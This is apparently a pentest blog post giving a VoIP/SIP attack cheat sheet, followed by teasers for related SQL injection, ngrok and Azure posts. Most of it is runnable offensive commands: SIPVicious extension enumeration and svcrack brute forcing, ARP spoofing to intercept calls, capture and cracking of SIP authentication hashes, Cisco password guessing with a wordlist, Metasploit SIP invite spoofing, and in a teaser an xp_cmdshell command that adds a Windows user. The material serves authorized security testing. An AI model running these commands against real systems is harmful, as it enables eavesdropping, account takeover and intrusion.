Skip to main content

VOIP - SIP

By

 

 - SNMP is enabled on many VOIP Devices; check for it

 

VOIP Protocols

- H.323 - Can Initiate, authenticate, end a request. 
- Session Initiation Protocol (SIP) - ASCII protocol - reqeuest/response. 
-  Real-Time Transport Protocol (RTP) - After connecting via VOIP, RTP is used
- Secure Real time Transport Protocol (SRTP)
#Nmap 
nmap -O -P0 10.10.10.0/23

#Ports
UDP/TCP - 5060 & 5061 

#Cisco SCCP Enabled ports
UDP/TCP - 2000-2001

#UDP or TCP - VXWORKS remote debugging
Port 17185 
# cisco-audit-tool
CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt 

# cisco-smart-install
https://github.com/Sab0tag3d/SIET/
sudo python siet.py -g -i 192.168.0.1
Enumeration

SIP - 'User Agent' & 'Server'
SIP phone Extensions (usernames)
TFTP Config files
SNMP Config


Using Netcat
nc 10.10.10.10 5060
> OPTIONS sip:test@10.10.10.10 SIP/2.0

SNMP 
snmpwalk -c public -v 10.10.10.10 1.3.6.1.4.1.6889
SIPVicious Github

python3 setup.py install

#Scan a set of IP's concurrenrly
for ip in $(cat $1); do sipvicious_svmap  -p5060-5200 $ip & done

sipvicious_svmap 10.10.10.10 -p5060-5200
sipvicious_svmap 10.10.10.10 -p5060-5200 -m INVITE
sipvicious_svwar udp://10.10.10.10:5070 -e100-500
#Enum 
sipvicious_svmap 192.168.1.1-254
sipvicious_svmap 192.168.1.1-254 --fp

#Extension Enum
svwar.py -e100-400 192.168.1.104
svwar.py -e100-400 192.168.1.104 -m INVITE -v

#svmap, send SIP OPTIONS
svmap -p5060,5061,5080-5090 10.0.0.1

#svcrack
svcrack -u100 -d dictionary.txt 10.0.0.1
#Capture the SIP Traffic
#arpspoof, sipdump & Sipcrack are inbuilt in kali 

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof –t victim gateway
arpspoof –t gateway victim

Wireshark > not broadcast and not multicast and host <IP ADDRESS>


#Capturing SIP Authentication using SIPDump
sipdump -i eth0
sipdump -i eth0 auth.txt
sipdump -p /root/registration.pcap auth.txt

#cracking response hahses
sipcrack -w sipass.txt auth.txt

#Bruteforcing SIP accounts using svcrack from SIPVIcious
svcrack.py -u200 -d wordlist.txt 192.168.1.104
svcrack.py -u200 -r100000-999999 192.168.1.104
#Enum using Metasploit 

#Scan for SIP Devices
use auxiliary/scanner/sip/options

#Enum SIP extensions/Usernames
use scanner/sip/enumerator
set RHOSTS 10.10.10.10
set MINEXT 100
set MAXEXT 500
set PADLEN 3


#Spoofing
use voip/sip_invite_spoof




might also try Responder

 

Labels:

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Host and Application locally and access it over the internet via ngrock

By
 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...
Post a Comment
Read more

Cloud Pentest Cheatsheet - Azure

By
Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.  Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure.com/{...
Post a Comment
Read more